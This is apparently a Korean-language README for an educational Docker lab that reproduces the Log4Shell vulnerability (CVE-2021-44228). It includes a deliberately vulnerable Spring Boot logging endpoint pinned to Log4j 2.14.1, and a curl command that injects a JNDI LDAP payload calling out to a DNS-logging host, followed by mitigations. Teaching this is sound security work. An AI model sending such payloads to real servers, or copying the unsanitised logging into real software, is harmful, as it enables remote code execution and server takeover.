🔓 Log4Shell 취약점 (CVE-2021-44228) 데모

이 프로젝트는 Apache Log4j 라이브러리에 영향을 미치는 심각한 취약점 Log4Shell (CVE-2021-44228)을 재현하고 이해하기 위한 통제된 테스트 환경입니다.

---

📁 프로젝트 구조

Secutp1/
├── Dockerfile                           # Construction de l'image Docker
├── pom.xml                              # Dépendances Maven (Log4j 2.14.1 vulnérable)
├── README.md                            # Ce fichier
└── src/
    └── main/
        └── java/
            └── com/
                └── example/
                    └── VulnerableApplication.java   # Application Spring Boot vulnérable

---

🎯 목표

공격자가 악성 문자열을 보내는 것만으로 서버가 허용되지 않은 아웃바운드 네트워크 연결을 수행하도록 강제할 수 있는 CVE-2021-44228 취약점을 악용하는 방법을 시연합니다.

---

🔍 취약 코드 분석

1. 종속성 관리 (pom.xml)

pom.xml 파일은 보안 패치 이전 버전인 Log4j 2.14.1을 강제로 사용합니다:

<log4j2.version>2.14.1</log4j2.version>

이 버전에는 기본적으로 활성화된 JndiLookup 클래스가 포함되어 있으며, 이것이 문제의 근원입니다.

2. Java 애플리케이션 (VulnerableApplication.java)

애플리케이션은 REST 웹 서비스를 노출합니다. 취약점은 index 메서드에 있습니다:

@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
    // LA LIGNE VULNÉRABLE :
    logger.info("Requête reçue, input : " + input);
    return "Bonjour ! Votre input a été loggé : " + input;
}

문제점: 애플리케이션이 사용자 매개변수(input)를 가져와 필터링 없이 logger.info()에 직접 전달합니다. 그러면 Log4j가 내용을 잠재적인 명령으로 해석합니다.

3. Docker 인프라 (Dockerfile)

Dockerfile은 2단계 빌드를 사용합니다:

• 1단계: Maven으로 컴파일 (maven:3.8.4-openjdk-11)
• 2단계: eclipse-temurin:11-jre로 실행

💡 Java 11을 사용하는 것이 적절한 이유는 최신 버전에서는 기본적으로 원격 클래스 로딩을 제한하기 때문입니다.

---

⚙️ 공격 메커니즘

공격은 JNDI(Java Naming and Directory Interface) 인젝션을 기반으로 합니다:

1. Log4j가 로그에서 ${jndi:protocol://url} 구문을 감지합니다.
2. 지정된 URL에 동적으로 연결을 시도합니다.
3. 실제 시나리오에서는 이를 통해 악성 Java 클래스를 다운로드 및 실행(RCE)할 수 있습니다.

---

🧪 단계별 익스플로잇 절차

1단계: 준비

다음 파일들이 동일한 폴더에 있는지 확인하세요:

• Dockerfile
• pom.xml
• src/main/java/com/example/VulnerableApplication.java

2단계: Docker 이미지 빌드

docker build -t vulnerable-app .

이 명령은 Maven 종속성(Log4j 2.14.1)을 다운로드하고 이미지를 생성합니다.

3단계: 컨테이너 실행

docker run -p 8080:8080 --name demo-log4j vulnerable-app

이제 애플리케이션이 포트 8080에서 수신 대기합니다.

4단계: 증인(Listener) 준비

1. DNS 로깅 서비스에 접속하세요:

   • dnslog.cn
   • dnslog.org
   • Burp Collaborator

2. 제공된 주소를 복사하세요 (예: mon-test.dnslog.cn)

5단계: 페이로드 주입

curl "http://localhost:8080/?input=\${jndi:ldap://mon-test.dnslog.cn/a}"

📝 참고: \ 문자는 터미널에서 $를 이스케이프하는 데 사용됩니다.

6단계: 확인

dnslog 사이트로 돌아가면 DNS 요청이 나타나는 것을 볼 수 있으며, 이는 서버가 주입된 코드를 실행했음을 확인합니다.

---

📊 예상 결과

단계	동작
1	Java 애플리케이션이 HTTP 요청을 수신
2	logger.info(...) 행이 input 매개변수를 처리
3	Log4j가 ${jndi:...} 구문을 감지
4	Log4j가 원격 서버로 LDAP 조회를 실행
5	DNSLog 인터페이스에 DNS 요청이 나타남

---

🚨 결론

서버는 사용자 요청을 로깅하는 것만으로 외부 시스템으로의 아웃바운드 연결을 수행했습니다.

실제 시나리오에서는 이 연결을 통해 다음과 같은 일이 가능했습니다:

• 악성 Java 클래스 다운로드
• 임의 코드 실행 (RCE - Remote Code Execution)
• 서버의 완전한 장악

---

🛡️ 완화 조치

이 취약점을 수정하려면:

1. Log4j를 버전 2.17.1 이상으로 업데이트
2. JNDI 조회 비활성화: -Dlog4j2.formatMsgNoLookups=true
3. classpath에서 JndiLookup 클래스 제거

---

📚 참고 자료

• CVE-2021-44228 - NVD
• Apache Log4j 보안 취약점
• ANSSI - Log4Shell 취약점

---

📜 라이선스

이 프로젝트는 교육 목적으로만 제공됩니다. 책임감 있고 윤리적으로 사용하십시오.